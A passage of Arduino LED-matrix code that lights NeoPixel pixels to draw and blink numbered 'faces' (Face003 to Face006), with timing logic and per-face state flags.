\n strip.setPixelColor(119, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = true; \/\/ Face003 - this face\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face003BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(59, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(67, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face003BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face003 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face003BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n} \n\/\/ Draw Face004 ---------------------------------------------------------------------------------------------\nvoid Face004()\n{\n if (Face004RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(42, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(66, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(82, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(147, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(221, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(290, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(298, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(306, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(314, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(322, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(330, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(355, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = true; \/\/ Face004 - this face\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face004BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face\n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(42, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(66, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(82, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(147, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(221, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(290, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(298, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(306, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(314, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(322, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(330, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(355, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face004BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face004 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face004BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face005 ---------------------------------------------------------------------------------------------\nvoid Face005()\n{\n if (Face005RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.show(); \/\/ Turn on the LEDs \n strip.setPixelColor(10, color); \n strip.setPixelColor(11, color); \n strip.setPixelColor(12, color); \n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(27, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color); \n strip.setPixelColor(237, color); \n strip.setPixelColor(244, color); \n strip.setPixelColor(245, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(370, color); \n strip.setPixelColor(371, color); \n strip.setPixelColor(372, color); \n strip.setPixelColor(396, color); \n strip.setPixelColor(397, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(405, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(456, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = true; \/\/ Face005 - this face\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face005BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face005 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(10, color); \n strip.setPixelColor(11, color); \n strip.setPixelColor(12, color); \n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(27, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color); \n strip.setPixelColor(237, color); \n strip.setPixelColor(244, color); \n strip.setPixelColor(245, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(370, color); \n strip.setPixelColor(371, color); \n strip.setPixelColor(372, color); \n strip.setPixelColor(396, color); \n strip.setPixelColor(397, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(405, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(456, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face005BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face005 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face005BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face006 ---------------------------------------------------------------------------------------------\nvoid Face006()\n{\n if (Face006RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(6, color); \n strip.setPixelColor(7, color); \n strip.setPixelColor(14, color); \n strip.setPixelColor(15, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(116, color); \n strip.setPixelColor(117, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(125, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(243, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(249, color); \n strip.setPixelColor(261, color); \n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(268, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(385, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color); \n strip.setPixelColor(504, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n 